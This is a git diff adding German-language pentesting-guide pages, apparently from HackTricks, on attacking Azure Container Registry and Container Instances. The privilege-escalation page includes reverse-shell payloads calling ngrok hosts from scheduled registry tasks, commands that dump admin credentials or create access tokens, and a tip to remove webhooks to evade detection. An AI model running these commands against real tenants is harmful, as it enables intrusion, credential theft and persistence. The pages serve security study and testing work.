diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e3e18e17d..7ab73713c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -408,6 +408,8 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -445,7 +447,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -460,14 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/images/registry_roles.png b/src/images/registry_roles.png new file mode 100644 index 000000000..f1d4a3615 Binary files /dev/null and b/src/images/registry_roles.png differ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md new file mode 100644 index 000000000..ad0030f1a --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md @@ -0,0 +1,64 @@ +# Az - Azure Container Instances Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Instances + +Für weitere Informationen siehe: + +{{#ref}} +../az-services/az-container-instances.md +{{#endref}} + +### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action` + +Diese Berechtigungen ermöglichen es dem Benutzer, **einen Befehl** in einem laufenden Container **auszuführen**. Dies kann verwendet werden, um **Berechtigungen** im Container zu **eskalieren**, wenn eine verwaltete Identität angehängt ist. Natürlich ist es auch möglich, auf den Quellcode und andere sensible Informationen zuzugreifen, die im Container gespeichert sind. + +Um ein `ls` auszuführen und die Ausgabe zu erhalten, ist es so einfach wie: +```bash +az container exec --name --resource-group --exec-command 'ls' +``` +Es ist auch möglich, die **Ausgabe** des Containers mit folgendem Befehl zu **lesen**: +```bash +az container attach --name --resource-group +``` +Oder erhalten Sie die Protokolle mit: +```bash +az container logs --name --resource-group +``` +### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Diese Berechtigungen ermöglichen es, **eine benutzerdefinierte verwaltete Identität** an eine Containergruppe anzuhängen. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren. + +Um eine benutzerdefinierte verwaltete Identität an eine Containergruppe anzuhängen: +```bash +az rest \ +--method PATCH \ +--url "/subscriptions//resourceGroups//providers/Microsoft.ContainerInstance/containerGroups/?api-version=2021-09-01" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' \ +--headers "Content-Type=application/json" +``` +### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +Diese Berechtigungen ermöglichen es, **eine Containergruppe zu erstellen oder zu aktualisieren**, die mit einer **benutzerverwalteten Identität** verknüpft ist. Dies ist sehr nützlich, um Privilegien im Container zu eskalieren. +```bash +az container create \ +--resource-group > \ +--name nginx2 \ +--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \ +--assign-identity "/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--restart-policy OnFailure \ +--os-type Linux \ +--cpu 1 \ +--memory 1.0 +``` +Darüber hinaus ist es auch möglich, eine vorhandene Containergruppe zu aktualisieren, indem beispielsweise das **`--command-line` Argument** mit einer Reverse-Shell hinzugefügt wird. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md new file mode 100644 index 000000000..f26a59971 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md @@ -0,0 +1,115 @@ +# Az - Azure Container Registry Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Für weitere Informationen siehe: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action` + +Diese Berechtigung ermöglicht es dem Benutzer, die Admin-Anmeldeinformationen des ACR aufzulisten. Dies ist nützlich, um **vollständigen Zugriff** auf das Registry zu erhalten. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries//listCredentials?api-version=2023-11-01-preview" +``` +Falls die Admin-Anmeldeinformationen nicht aktiviert sind, benötigen Sie auch die Berechtigung `Microsoft.ContainerRegistry/registries/write`, um sie mit folgendem Befehl zu aktivieren: +```bash +az rest --method PATCH --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ContainerRegistry/registries/?api-version=2023-11-01-preview" --body '{"properties": {"adminUserEnabled": true}}' +``` +### `Microsoft.ContainerRegistry/registries/tokens/write`, `Microsoft.ContainerRegistry/registries/generateCredentials/action` + +Diese Berechtigungen ermöglichen es dem Benutzer, **ein neues Token** mit Passwörtern zum Zugriff auf das Registry zu **erstellen**. + +Um das `az cli` wie im folgenden Beispiel zu verwenden, benötigen Sie auch die Berechtigungen `Microsoft.ContainerRegistry/registries/read`, `Microsoft.ContainerRegistry/registries/scopeMaps/read`, `Microsoft.ContainerRegistry/registries/tokens/operationStatuses/read`, `Microsoft.ContainerRegistry/registries/tokens/read` +```bash +az acr token create \ +--registry \ +--name \ +--scope-map _repositories_admin +``` +### `Microsoft.ContainerRegistry/registries/listBuildSourceUploadUrl/action`, `Microsoft.ContainerRegistry/registries/scheduleRun/action`, `Microsoft.ContainerRegistry/registries/runs/listLogSasUrl/action` + +Diese Berechtigungen ermöglichen es dem Benutzer, ein **Image zu erstellen und auszuführen** im Registry. Dies kann verwendet werden, um **Code** im Container auszuführen. + +>[!WARNING] +> Allerdings wird das Image in einer **sandboxed environment** und **ohne Zugriff auf den Metadatenservice** ausgeführt. Das bedeutet, dass der Container keinen Zugriff auf die **Instanzmetadaten** hat, sodass dies nicht wirklich nützlich ist, um Privilegien zu eskalieren. +```bash +# Build +echo 'FROM ubuntu:latest\nRUN bash -c "bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/17585 0>&1"\nCMD ["/bin/bash", "-c", "bash -i >& /dev/tcp//2.tcp.eu.ngrok.io/17585 0>&1"]' > Dockerfile +az acr run --registry 12345TestingRegistry --cmd '$Registry/rev/shell:v1:v1' /dev/null +``` +### `Microsoft.ContainerRegistry/registries/tasks/write` + +Dies ist die Hauptberechtigung, die es ermöglicht, eine Aufgabe im Registry zu erstellen und zu aktualisieren. Dies kann verwendet werden, um **Code innerhalb eines Containers mit einer angehängten verwalteten Identität** im Container auszuführen. + +Dies ist das Beispiel, wie man eine Reverse-Shell in einem Container mit der **systemverwalteten** Identität ausführt: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +Eine weitere Möglichkeit, um eine RCE von einer Aufgabe zu erhalten, ohne ein externes Repository zu verwenden, besteht darin, den Befehl `az acr task create` mit dem Flag `--cmd` zu verwenden. Dies ermöglicht es Ihnen, einen Befehl im Container auszuführen. Zum Beispiel können Sie mit folgendem Befehl eine Reverse-Shell ausführen: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task-cmd \ +--image rev/shell2:v1 \ +--cmd 'bash -c "bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/15508 0>&1"' \ +--schedule "*/1 * * * *" \ +--context /dev/null \ +--commit-trigger-enabled false \ +--assign-identity +``` +> [!TIP] +> Beachten Sie, dass Sie zum Zuweisen der systemverwalteten Identität keine speziellen Berechtigungen benötigen, obwohl sie zuvor im Container-Registry aktiviert und einige Berechtigungen zugewiesen worden sein muss, damit sie nützlich ist. + +Um auch eine **benutzerverwaltete Identität** zuzuweisen, benötigen Sie die Berechtigung `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, um Folgendes zu tun: +```bash +az acr task create \ +--registry \ +--name reverse-shell-task \ +--image rev/shell:v1 \ +--file ./Dockerfile \ +--context https://github.com/carlospolop/Docker-rev.git \ +--assign-identity \[system\] "/subscriptions/>/resourcegroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/" \ +--commit-trigger-enabled false \ +--schedule "*/1 * * * *" +``` +Um das **Repo** einer bestehenden Aufgabe zu **aktualisieren**, kannst du Folgendes tun: +```bash +az acr task update \ +--registry \ +--name reverse-shell-task \ +--context https://github.com/your-user/your-repo.git +``` +### `Microsoft.ContainerRegistry/registries/importImage/action` + +Mit dieser Berechtigung ist es möglich, **ein Bild in das Azure-Registry zu importieren**, selbst wenn das Bild nicht lokal vorhanden ist. Beachten Sie jedoch, dass Sie **kein Bild mit einem Tag importieren können**, der bereits im Registry vorhanden ist. +```bash +# Push with az cli +az acr import \ +--name \ +--source mcr.microsoft.com/acr/connected-registry:0.8.0 # Example of a repo to import +``` +Um ein **bestimmtes Image-Tag** aus dem Registry zu **entfernen oder zu löschen**, können Sie den folgenden Befehl verwenden. Beachten Sie jedoch, dass Sie einen Benutzer oder Token mit **ausreichenden Berechtigungen** benötigen, um dies zu tun: +```bash +az acr repository untag \ +--name \ +--image : + +az acr repository delete \ +--name \ +--image : +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-instances.md b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md new file mode 100644 index 000000000..c285dcff6 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md @@ -0,0 +1,45 @@ +# Az - Container Instances + +{{#include ../../../../banners/hacktricks-training.md}} + +## Grundinformationen + +Azure Container Instances (ACI) bieten eine **serverlose, bedarfsorientierte Möglichkeit**, **Container** in der Azure-Cloud auszuführen. Sie können **einzelne oder mehrere Container** in einer Gruppe mit **skalierbarer Rechenleistung**, **Netzwerkoptionen** und der Flexibilität, sich mit **anderen Azure-Diensten** (wie Storage, Virtuellen Netzwerken oder Container-Registrierungen) zu verbinden, **bereitstellen**. + +Da es sich um **ephemere** Workloads handelt, müssen Sie die zugrunde liegende VM-Infrastruktur nicht verwalten — Azure kümmert sich darum für Sie. Aus einer **offensiven Sicherheits-Perspektive** ist es jedoch entscheidend zu verstehen, wie **Berechtigungen**, **Identitäten**, **Netzwerkkonfigurationen** und **Protokolle** Angriffsflächen und potenzielle Fehlkonfigurationen aufdecken können. + +### Konfigurationen + +- Um einen Container zu erstellen, ist es möglich, ein öffentliches Image, ein Container-Image aus einem Azure Container Registry oder einem externen Repository zu verwenden, was möglicherweise **erfordert, ein Passwort zu konfigurieren**, um darauf zuzugreifen. +- In Bezug auf das Netzwerk kann es auch eine **öffentliche IP** haben oder **private Endpunkte** sein. +- Es ist auch möglich, gängige Docker-Einstellungen wie zu konfigurieren: +- **Umgebungsvariablen** +- **Volumes** (sogar von Azure Files) +- **Ports** +- **CPU- und Speicherkapazitätsgrenzen** +- **Neustartpolitik** +- **Als privilegiert ausführen** +- **Befehlszeile zum Ausführen** +- ... + +## Aufzählung + +> [!WARNING] +> Bei der Aufzählung von ACI können Sie sensible Konfigurationen wie **Umgebungsvariablen**, **Netzwerkdetails** oder **verwaltete Identitäten** aufdecken. Seien Sie vorsichtig beim Protokollieren oder Anzeigen dieser. +```bash +# List all container instances in the subscription +az container list + +# Show detailed information about a specific container instance +az container show --name --resource-group + +# Fetch logs from a container +az container logs --name --resource-group + +# Execute a command in a running container and get the output +az container exec --name --resource-group --exec-command "ls" + +# Get yaml configuration of the container group +az container export --name --resource-group +``` + diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md new file mode 100644 index 000000000..2fbf73485 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -0,0 +1,157 @@ +# Az - Container Registry + +{{#include ../../../../banners/hacktricks-training.md}} + +## Grundinformationen + +Azure Container Registry (ACR) ist ein sicheres, privates Registry, das es Ihnen ermöglicht, **Container-Images in der Azure-Cloud zu speichern, zu verwalten und darauf zuzugreifen**. Es integriert sich nahtlos mit mehreren Azure-Diensten und bietet automatisierte Build- und Bereitstellungs-Workflows in großem Maßstab. Mit Funktionen wie Geo-Replikation und Schwachstellenscanning hilft ACR, die Sicherheit und Compliance auf Unternehmensniveau für containerisierte Anwendungen zu gewährleisten. + +### Berechtigungen + +Dies sind die **verschiedenen Berechtigungen** [laut den Dokumenten](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager), die über ein Container-Registry vergeben werden können: + +- Zugriff auf den Resource Manager +- Erstellen/Löschen von Registries +- Bild hochladen +- Bild herunterladen +- Bilddaten löschen +- Richtlinien ändern +- Bilder signieren + +Es gibt auch einige **vordefinierte Rollen**, die zugewiesen werden können, und es ist auch möglich, **benutzerdefinierte Rollen** zu erstellen. + +![]() + +### Authentifizierung + +> [!WARNING] +> Es ist sehr wichtig, dass Sie, auch wenn der Registrierungsname einige Großbuchstaben enthält, immer **Kleinbuchstaben** verwenden, um sich anzumelden, Bilder hochzuladen und herunterzuladen. + +Es gibt 4 Möglichkeiten, sich bei einem ACR zu authentifizieren: + +- **Mit Entra ID**: Dies ist die **Standard**-Methode zur Authentifizierung bei einem ACR. Es verwendet den Befehl **`az acr login`**, um sich beim ACR zu authentifizieren. Dieser Befehl **speichert die Anmeldeinformationen** in der **`~/.docker/config.json`**-Datei. Darüber hinaus, wenn Sie diesen Befehl aus einer Umgebung ohne Zugriff auf einen Docker-Socket wie in einer **Cloud-Shell** ausführen, ist es möglich, das **`--expose-token`**-Flag zu verwenden, um das **Token** zur Authentifizierung beim ACR zu erhalten. Um sich zu authentifizieren, müssen Sie als Benutzernamen `00000000-0000-0000-0000-000000000000` verwenden, wie: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Mit einem Administratorkonto**: Der Administratorkonto ist standardmäßig deaktiviert, kann jedoch aktiviert werden, und dann ist es möglich, auf die Registry mit dem **Benutzernamen** und **Passwort** des Administratorkontos mit vollständigen Berechtigungen für die Registry zuzugreifen. Dies wird weiterhin unterstützt, da einige Azure-Dienste es verwenden. Beachten Sie, dass für diesen Benutzer **2 Passwörter** erstellt werden und beide gültig sind. Sie können es mit `az acr update -n --admin-enabled true` aktivieren. Beachten Sie, dass der Benutzername normalerweise der Registrierungsname ist (und nicht `admin`). +- **Mit einem Token**: Es ist möglich, ein **Token** mit einem **spezifischen `scope map`** (Berechtigungen) zu erstellen, um auf die Registry zuzugreifen. Dann ist es möglich, diesen Token-Namen als Benutzernamen und eines der generierten Passwörter zur Authentifizierung bei der Registry mit `docker login -u -p aregistry-url>` zu verwenden. +- **Mit einem Dienstprinzipal**: Es ist möglich, einen **Dienstprinzipal** zu erstellen und eine Rolle wie **`AcrPull`** zuzuweisen, um Bilder herunterzuladen. Dann ist es möglich, sich mit der SP-App-ID als Benutzernamen und einem generierten Geheimnis als Passwort bei der Registry anzumelden. + +Beispielskript aus den [Dokumenten](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) zur Erstellung eines SP mit Zugriff auf eine Registry: +```bash +#!/bin/bash +ACR_NAME=$containerRegistry +SERVICE_PRINCIPAL_NAME=$servicePrincipal + +# Obtain the full registry ID +ACR_REGISTRY_ID=$(az acr show --name $ACR_NAME --query "id" --output tsv) + +PASSWORD=$(az ad sp create-for-rbac --name $SERVICE_PRINCIPAL_NAME --scopes $ACR_REGISTRY_ID --role acrpull --query "password" --output tsv) +USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].appId" --output tsv) + +echo "Service principal ID: $USER_NAME" +echo "Service principal password: $PASSWORD" +``` +### Verschlüsselung + +Nur die **Premium SKU** unterstützt **Verschlüsselung im Ruhezustand** für die Images und andere Artefakte. + +### Netzwerk + +Nur die **Premium SKU** unterstützt **private Endpunkte**. Die anderen unterstützen nur **öffentlichen Zugriff**. Ein öffentlicher Endpunkt hat das Format `.azurecr.io` und ein privater Endpunkt hat das Format `.privatelink.azurecr.io`. Aus diesem Grund muss der Name des Registrys in ganz Azure einzigartig sein. + +### Microsoft Defender für Cloud + +Dies ermöglicht es Ihnen, die **Images** im Registry auf **Schwachstellen** zu **scannen**. + +### Soft-Delete + +Die Funktion **Soft-Delete** ermöglicht es Ihnen, ein **gelöschtes Registry** innerhalb der angegebenen Anzahl von Tagen **wiederherzustellen**. Diese Funktion ist **standardmäßig deaktiviert**. + +### Webhooks + +Es ist möglich, **Webhooks** innerhalb von Registries zu **erstellen**. In diesem Webhook muss die URL angegeben werden, an die eine **Anfrage gesendet wird, wann immer eine Push- oder Löschaktion durchgeführt wird**. Darüber hinaus können Webhooks einen Geltungsbereich angeben, um die Repositories (Images) zu kennzeichnen, die betroffen sein werden. Zum Beispiel bedeutet 'foo:*', dass Ereignisse im Repository 'foo' stattfinden. + +Aus der Perspektive eines Angreifers ist es interessant, dies **vor der Durchführung einer Aktion** im Registry zu überprüfen und es vorübergehend zu entfernen, wenn nötig, um eine Entdeckung zu vermeiden. + +### Verbundene Registries + +Dies ermöglicht im Wesentlichen, die **Images** von einem Registry zu einem anderen, normalerweise lokal, zu **spiegeln**. + +Es hat 2 Modi: **ReadOnly** und **ReadWrite**. Im ersten Modus werden die Images nur **von** dem Quell-Registry **abgerufen**, und im zweiten Modus können Images auch **in** das Quell-Registry **hochgeladen** werden. + +Damit Clients auf das Registry von Azure aus zugreifen können, wird ein **Token** generiert, wenn das verbundene Registry verwendet wird. + +### Ausführungen & Aufgaben + +Ausführungen & Aufgaben ermöglichen es, in Azure containerbezogene Aktionen auszuführen, die Sie normalerweise lokal oder in einer CI/CD-Pipeline durchführen mussten. Zum Beispiel können Sie **Images im Registry erstellen, hochladen und ausführen**. + +Der einfachste Weg, einen Container zu erstellen und auszuführen, ist die Verwendung einer regulären Ausführung: +```bash +# Build +echo "FROM mcr.microsoft.com/hello-world" > Dockerfile +az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --file Dockerfile . + +# Run +az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null +``` +Allerdings wird dies Ausführungen auslösen, die aus der Perspektive eines Angreifers nicht besonders interessant sind, da ihnen keine verwaltete Identität zugeordnet ist. + +Allerdings können **Tasks** eine **system- und benutzerverwaltete Identität** zugeordnet haben. Diese Tasks sind die nützlichsten, um **Privilegien zu eskalieren** im Container. Im Abschnitt zur Eskalation von Privilegien ist es möglich zu sehen, wie man Tasks zur Eskalation von Privilegien verwendet. + +### Cache + +Die Cache-Funktion ermöglicht es, **Bilder aus einem externen Repository herunterzuladen** und die neuen Versionen im Registry zu speichern. Es erfordert, dass einige **Anmeldeinformationen konfiguriert** werden, indem die Anmeldeinformationen aus einem Azure Vault ausgewählt werden. + +Dies ist aus der Perspektive eines Angreifers sehr interessant, da es ermöglicht, **zu einer externen Plattform zu pivotieren**, wenn der Angreifer über ausreichende Berechtigungen verfügt, um auf die Anmeldeinformationen zuzugreifen. **Bilder aus einem externen Repository herunterzuladen** und einen Cache zu konfigurieren, könnte auch als **Persistenzmechanismus** verwendet werden. + +## Enumeration + +> [!WARNING] +> Es ist sehr wichtig, dass Sie, auch wenn der Registrierungsname einige Großbuchstaben enthält, nur Kleinbuchstaben in der URL verwenden, um darauf zuzugreifen. +```bash +# List of all the registries +# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... +az acr list + +# Get the details of a registry +az acr show --name + +# List tokens of a registry +az acr token list --registry --resource-group + +# List repositories in a registry +az acr repository list --name --resource-group + +# List the tags of a repository +az acr repository show-tags --repository --name --resource-group + +# List deleted repository tags +## At the time of this writing there isn't yet any command to restore it +az acr repository list-deleted --name + +# List tasks +## Check the git URL or the command +az acr task list --registry + +# List tasks runs +az acr task list-runs --registry + +# List connected registries +az acr connected-registry list --registry + +# List cache +az acr cache list --registry + +# Get cache details +az acr cache show --name --registry +``` +## Privilegieneskalation & Nachausnutzung + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## Referenzen + +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) +- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) + +{{#include ../../../../banners/hacktricks-training.md}}